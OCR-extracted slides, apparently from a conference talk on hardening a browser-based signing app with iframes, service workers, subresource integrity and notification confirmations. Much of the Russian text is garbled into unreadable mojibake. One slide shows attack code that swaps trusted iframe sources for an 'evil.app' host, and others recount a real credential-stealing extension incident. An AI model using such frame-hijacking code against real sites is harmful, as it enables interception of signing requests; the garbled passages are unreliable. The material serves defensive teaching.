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 Upon installation or autoupdate, it would
exfiltrate credentials for sites including
amazon.com, live.com, github.com, google.com,
myetherwallet.com...

“’[locsne ycmaHoekU Uau 06HO8/1eHUSA OHO
HA4YUHQ/0 hoXUWames pekeusumel Ha calimax
amazon.com, live.com, github.com, google.com,
myetherwallet.com...
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“POPULAR CRYPTO SERVICE
MYETHERWALLET HIT BY ATTACK
AFTER HOLA VPN GETS HACKED

“MOryJIPHbIV KPUMTOCEPBMC
MYETHERWALLET bblJ1 ATAKOBAH
[1OCJIE B3J/TOMA HOLA VPN

techcrunch.com/2018/07/09/myetherwallet-hit-by-attack-hola
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WMHXXEKTUT B CTPaHWULbI NieBble CKPUNTbI U NbITaeTCA COﬁpaTb CTaTUCTUKY

Alexey Bogachuk: Vulnerabilities in your application. HolyJS 17 Msk
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ITHE

PROBLEM
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TRUSTED APP

import {Platform} from

class App

implements Platform {
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TRUSTED PLATFORM

interface Platform A
sensitive: never;
getKeys (): Keyl[];

sign (Data, Key):
Signature;
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TRUSTED PLATFORM

interface PlatformSpec {
requirements: Possible
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TRUSTED PLATFORM

interface PlatformSpec {
requirements: Possible,
browser:
| Chrome | Firefox

| Edge | Safari
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TRUSTED PLATFORM

interface PlatformSpec {
requirements: Possible,
browser:
| Chrome | Firefox
| Edge | Safarzi,

platform:

Windows | MacOS |
10S<{jallbroken?:
Android<{rooted?:

Linux
false}:
false}:
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CROSSORIGIN COMMUNICATION

caller.app

our.app iframe

sign?OxDEADBEEF

<

postMessage(signature)

Y

our.app handler

sign(OXxDEADBEEF)

2

gnature(OXxDEADBEEF, PrivateKey

Y

our.app storage

get PrivateKey

~

caller.app

our.app iframe

our.app handler

Y

our.app storage

v O <
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BASELIN

// https://caller.app
<1frame
src="https://our.app/sign?0xDEADBEEF" />

// https://our.app/sign
<script type="module">
import {handle} from "./handle.js"
window.parent .postMessage (
handle (location))
</script>
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ATTACK VECTORS

e MITM: Control transport level (OSI)

v O <

Create a presentation like this |}
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ATTACK VECTORS

MitM: TpaHCMOPTHBLIN ypoBeHb OSI
Mbl camu: npuknagHon yposeHb OSI

v O <
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ATTACK VECTORS

MitM: TpaHCMOPTHBLIN ypoBeHb OSI

Mbl camu: npuknagHon yposeHb OSI

KoHTekcT caller.app:
= YyTaTbh M NnUcaThb B postMessage

= MeHATb r1o6anbHble MepeMeHHble

O <
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ATTACK VECTORS

MitM: TpaHCMOPTHBLIN ypoBeHb OSI

Mbl camu: npuknagHon yposeHb OSI

KoHTekcT cTpaHuubl caller.app:

= YyTaTbh M NnUcaThb B postMessage

= MeHATb r1o6anbHble MepeMeHHble

KOHTEeKCT CTpaHuLbl our.app:

O <
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ATTACK VECTORS

MitM: TpaHCMOPTHBLIN ypoBeHb OS|

Mbl camui: npuknagHon yposeHb OSl

KoHTekcT cTpaHuubl caller.app:

= UuTaTb N NncaTb B postMessage

= MeHATb rnobanbHblie NepeMeHHble

KOHTEeKCT CTpaHuLbl our.app:

O <
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ATTACKS

] MoXunweHbl KN4vn
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ATTACKS

] MoxuLieHbl Kno4n
1 APl He pa6oTaeT
1 dnya B API
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ATTACKS

] MoxuLieHbl Kno4n
] APl He paboTaeTt

1 dnya B API

| apryMmeHTbl v pe3ynbTaT
PaCKpbIThI
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LU TION

Disclaimer: Ayant 6e30MacHOCTV/ He 3aBepLuUeH. Bce TPHoKM
BbIMO/IHEHbI NPOdeccMoHanamMmu, He NMblTanTecb MOBTOPUTL ASMa HA
npoze. Ecnvi Bbl 4eNCTBUTE/IbHO XOTUTE 1CMOb30BaTh 3TO -
CHayana CBAXUTeCb CO MHOW NNYHO (@jabher/BceBonog PoarioHOB)

T O <L Create a presentation like this
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UNTRUSTED
NETWORK
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HTTP HANDSHAKE

browser DNS 1.2.3.4
TCP: pan mHe IP anAa our.app
TCP: 310 1.2.3.4
TCP: pan mHe TBOM http://our.app/index.html
TCP: koHeYHO, nep>ku!
browser DNS 1.2.3.4
i O <

Create a presentation like this E
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HTTP HANDSHAKE

browser DNS 1.2.3.4
TCP: nan mHe IP ana our.app
TCP: 310 1.2.3.4
TCP: pan mHe TBOM http://our.app/index.html
TCP: KoHeuHO, aepxn!
browser DNS 1.2.3.4
v O <X
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DN

O U

O

S HANDSHAKE

NSSEC
NS-over-TLS
NS-over-HTTPS



https://slides.com/?ref=caplt

DNS HANDSHAKE

browser DNSSEC

pan mHe IP ona %$7$$

a8

nepxu: 1.2.3.4 + moAa noanumceb
-

browser DNSSEC

:: (] “C Create a presentation like this H


https://slides.com/?ref=caplt

HTTPS HANDSHAKE

browser 1.2.3.4

HTTP: pan mHe index.html y our.app

HTTP: nan Ha https

O <

Create a presentation like this H
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HSTS PRELOAD LIST

browser HTTPS preload list our.app

ecTb cepTudomkar anAa our.app?

na, 0ep>xxm T—‘

HTTP: naii mHe $*(%)& y our.app

HTTP: koHeuHO, aepxun! 3awmndcdposan anAa TebsA H

browser HTTPS preload list our.app
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f Vulns

TLS/SSL VULNERABILITIES

Vulnerahilities by type & year

cvedetails.com/product/383/0penssl-Openssl.html?vendor_id=217
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TLS/SSL VULNERABILITIES

Logjam e DROWN
NOMORE e CRIME
Bar Mitzvah o BEAST

SWEET32 e BREACH.---

— — — — - — — — —
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DOM
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UNTRUSTED FRAM

new MutationObserver (ms => {

for (const fr of getAddedIframes (ms))
if (fr.src.startsWith('https://our.app'
fr.src = 1frame.src
.replace (
'https://our.app',
'https://evil.app"')

}) .observe (document .body,
{ subtree: true, childList: true })
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UNTRUSTED FRAME

const frame = createlframe (frameUrl)

const mo = new MutationObserver (
mutations =>
reject (new InterceptionError))

mo .observe (1frame, {
attributes: true

7)

document .body.appendChild (frame)
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UNTRUSTED SERV

const {ok, headers} = await fetch (frameUrl,
integrity: 'sha384-...",
redirect: 'manual',
cache: 'force—-cache',
mode: 'cors'
})
assert (
ok

injectIframe (frameUrl)

O <

-R

{

Create a presentation like this H
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UNTRUSTED SERV

const {ok, headers} = await fetch (frameUrl,
integrity: 'sha384-..."'",
redirect: 'manual',
cache: 'force—-cache',
mode: 'cors'
})
assert (
ok,
headers.get ('Cache-Control') ===

headers.has ('pragma') === false

injectIframe (frameUrl)

-R

{

'max—age=846

O <
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UNTRUST

D S

-RVE

6paysep K3l fetch
y TebA ecTb our.app/index.htmlﬁ
|
alt [Ral
- html
- \
[ HeT ]
3arpyau our.app/index.html v paii mHe
‘ L
3arpyska

opt [ ecTb Cac}Te—ControI ]

Cache-Control - 3aronoBok ¢ MHCTPYKUMAMM ANA K3lla

‘ aymato, ato Tebe npurogmTtca

Lep>Kn TBOK CTpaHuUy

6paysep KaLW fetch
K A
'S

O <
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browser

fetch SW storage

nan MHe our.app/index.html

y Teba ectb SW ansa atoro origin®?

a y Hero ecTb on('fetch')?

.

a B on('fetch') ectb respondWith:’

a OHO TOYHO He cnomManocb?

SERVICE WORKER

yOaneHHbI cepeep

alt [ pnal]
Service Worker Response
[ HeT ]
GET /index.html -
- index.html
browser

fetch SW storage

yOaneHHbI cepeep

37
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UNTRUSTED CACH

//iframe.html

awalt navigator.serviceWorker.register ('sw.js',

updateViaCache: 'all'
)
//sw.Js
self.addEventListener ('fetch', event =>

event.respondWith (new Response (-
<!doctype html>
<script>
window.parent.postMessage (

awalt handle (location)

)

</script>
R W W W W

v O <

Create a presentation like this H
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UPDATE VIA CACHE

e all - noNb3yemcsa K3LOoM 418 BCEX OTBETOB, HO eC/n
cache-control: max-age 6onbLue yem 24 yaca -
K3WwunpyeT Ha 24 yaca

® none - bpay3sep obHoBASAET SW 1 ero MMMNopPThI, KOrAa
CUMTaeT HY>XXHbIM

e imports - ncnosb3lyem K3 419 UMMNOPTOB, HO He
caMmoro ¢amnna cepBmc-Bopkepa

T O <L Create a presentation like this
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UNTRUSTED
CALLER:

UTILIZING
NOTIFICATION API



https://slides.com/?ref=caplt

UNTRUSTED CALLER

2 Google Chrome

Send 0.300 ETH to
0x7a591c845bb37099bede17066ed836d99217

v O <

f‘ﬁ\
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UNTRUSTED CALLER

other.app

NoANULIN BOT 3Ty CTPOKY: OX...

our.app Notifications API

noanncb

A

Cnpocun y noJjib3oBaTesia pa3peweHne

nonb3oBaTenb Ha)kan "pa"

il
-

other.app

our.app Notifications API

v O <
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UNTRUSTED CALLER

doSomethingImportant = async (...args) =

awalt notification('confirm?',
requirelInteraction: true,
data: args,

actions: |
{action: 'res', title:
{action: 'rej', title:

v O <

{

'yes'}
'HO'}

Create a presentation like this H
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UNTRUSTED CALLER

// sw.Js
self.addEventListener (
'notificationclick',
({notification, action}) =>
notification.close ()

actions.callback (
notification.data,
action

{

v O <

Create a presentation like this H
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UNTRUSTED CALLER

self.addEventlListener ('fetch',
event => |
awalt confirm(event.request)
event.respondWith (new Response(
<!doctype html>

<script>

window.parent .postMessage (
awalt handle (location)

)

</script>

)))) )

:: (] 1( Create a presentation like this H
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UNTRUSTED CALLER

self.addEventlListener ('fetch',

async event => {
awalt confirm(event.request)
const response = awalt handle (event
event.respondWith (new Response ("

<!doctype html>
<script>

window.parent .postMessage (
S {

JSON.stringify (response)
F) o)) 1)

:: (] 1( Create a presentation like this H
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 Upon installation or autoupdate, it would
exfiltrate credentials for sites including
amazon.com, live.com, github.com, google.com,
myetherwallet.com...

“’[locsne ycmaHoekU Uau 06HO8/1eHUSA OHO
HA4YUHQ/0 hoXUWames pekeusumel Ha calimax
amazon.com, live.com, github.com, google.com,
myetherwallet.com...

mega.nz/blog_47
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UNTRUST

/71 only allow-same-
origin should be required for
SW interception within a
sandboxed iframe

171 mosivko allow-same-
origin dosmieH
mpebosamecs 0414
nepexeama 3anpoca cepsuc-
gopkepomM 6 sandbox iframe

-D ORIGIN

11 By the time the request gets
to fetch, it doesn't know it
came from a sandboxed iframe

11 06pabomyuk 3anpoca 8
fetch daxce He 3Haem, umo
3anpoc npuwen u3 sandbox
iframe

w3c/ServiceWorker/issues/648
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irred

UNTRUSTED
REQUESTS

l

onBeforeRequest

e

onBeforeSendHeaders |[——

e

onsendHeaders

e

K (] “C Create a presentation like this B
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UNTRUSTED

browser

fetch

nan MHe our.app/index.html

OnBeforeRequest

OnHeadersReceived

alt
Service Work
|

f 3

y Teba ectb SW ana atoro originf

SW storage

a y Hero ecTb on('fetch')?

a B on('fetch') ectb respondWith:

.

a OHO TOYHO He cnomanochb?

[na]

er Response

[ HeT ]

GET /index.html

REQUESTS

yOaneHHbI cepeep

index.html

browser

fetch

SW storage

yOaneHHbI cepBep

50
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BEFORE
REQUEST

® NpounTaThb
opurnHanbHbIV URL

® MepeajpecoBaTb
3anpoc

® NpoYUnNTaThL/N3MEHNTDb
3aro10BKM 3anpoca

® MpoYnNTaTb TeNo
3arnpoca

HEADERS
RECEIVED

® MPoOYNTATb NTOrOBbIV

URL

® npoynTaTth status code

(200/204/418/502...)

® NMPOYHNTATb 3aroJiOBKN

OoTBETAa

¢ CJIOMaTb 3anpoc

O <
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NJATIHBI HE MOTYT

« MEHATDH T€J10 OTBETA
« CO34aBadTb HOBblE CTPaAaHWLIbl Ha AOMEHE

s O <L Create a presentation like this [
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ATTACK VECTORS

e KOHTeKCT cTpaHuubl caller.app:

= UpTaTb N NncaTtb B postMessage
= MeHATb rnobanbHble NepeMeHHble

e KOHTEKCT CTpaHuLbl our.app:
= + 4yUTaTb M NMUCaTb B Hall localStorage

a Eh‘)\l')ghlll I M AArialin e

v O <
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DATA
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DATA URI

<img src="data:image/gif;base64,R01GODc
<style>
11 |

background: url (data:image/gif;baseb6’

}

pre A
background:
url (data:image/svg+xml,
<svg xmlns="http://www.w3.0rg/~
viewBox="0 0 1680 590">...)

55
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ORIGIN EVADE

event .respondWith (Response.redirect (

'data:text/html, ' +

'<script>parent.postMessage (' +

JSON.stringify (
awalt handle (request.url)

)

:: (] ~< Create a presentation like this H
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other.app

THE RESULT

browser

nan MmHe index.html n sw.js ana our.

app

index.html, sw.js, integrity coBnay

3aronioBkKu npasuiibHblie, OHN OOJI>XXKHbI 6blTb B K3Lle

O

noanvn BOT 9

Ty cTpoky: Ox...

our.app notifications

redirect: data

itext/html,...

cnpocun y nonb3oBaTtena pa3pelweHne

nonb3oBaTenb Haxkan "pa"

other.app

browser

our.app notifications

v O <
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ITHE

RESULT
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ATTACKS

ﬂ-ﬂ-@*ﬂﬂ:l;&l—lﬂ—l(ﬂ-lﬁ*l—b‘r
I APHHe-pabotaeT

paboTaeT gaxxe Korja cepeep HegoCTyneH
obHapy>XmMBaeT psj NOMbITOK aTakoBaTb

0 dnya B API
[ apryMeHTbl Uan pe3ynbTaT PackpbIThl

v O <
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UNTRUSTED SPEAKER

KakK 3alNTUTBLCS OT NOAMeEHbl apryMeHTOB B peampekTe?
He cheyuuyUpPOBAHHAS 38EpPUCMUKA
+ 20 MUHYm K 0oknady

T O <L Create a presentation like this [}
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UNTRUSTED SPEAKER

KaK 3aLNTUTLCA OT MOAMEHbI apPryMEHTOB B peanipekTe?

He cheyuuyUpPOBAHHAS 38EpPUCMUKA
+ 20 MUHYm K 0oknady
Kak 3aWMNTUTBLCS OT pasrnaweHns apryMeHToB B url?
KaK 3alMTUTLCS OT pasrialleHuns OTBeToB B postMessage?

omoesbHas whatwg-based mexaHUKa

+20 MUHYmM K 00K/100y

T O <L Create a presentation like this [
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UNTRUSTED SPEAKER

KakK 3alNTUTBLCS OT NOAMeEHbl apryMeHTOB B peampekTe?
He cheyuuyUpPOBAHHAS 38EpPUCMUKA
+ 20 MUHYm K 0oknady
Kak 3aWMNTUTBLCS OT pasrnaweHns apryMeHToB B url?
KaK 3alMTUTLCS OT pasrialleHuns OTBeToB B postMessage?

omoesbHas whatwg-based mexaHUKa

+20 MUHYM K 00K/100y
KaK 3aWmTnThca ot DoS?

Konuposame onelm opyaux
OYeHb Cheyu@UYHO 0151 KaX0020 NpUoXeHUs

T O <L Create a presentation like this
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UNTRUSTED SPEAKER

KakK 3alNTUTBLCS OT NOAMeEHbl apryMeHTOB B peampekTe?
He cheyuguyupoB8aHHAA 38epUCMUKa
+ 20 MUHYm K 0oknady
KaK 3alUUTUTLCS OT pasrialleHns aprymeHToB B url?
Kak 3alNTUTBLCS OT pasrnawleHnsi OTBeToB B postMessage?
omoesbHas whatwg-based mexaHUKa

+20 MUHYmM K 00K/100y
KaK 3aWmTnThca ot DoS?
Konuposame onelm opyaux
OYeHb Cheyu@UYHO 0151 KaX0020 NpUoXeHUs
Kak caenatb APl HagexHee?

(V)
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PARANOID

SERVICE

Vsevolod Rodionov, tech cutup
\WOYRKER
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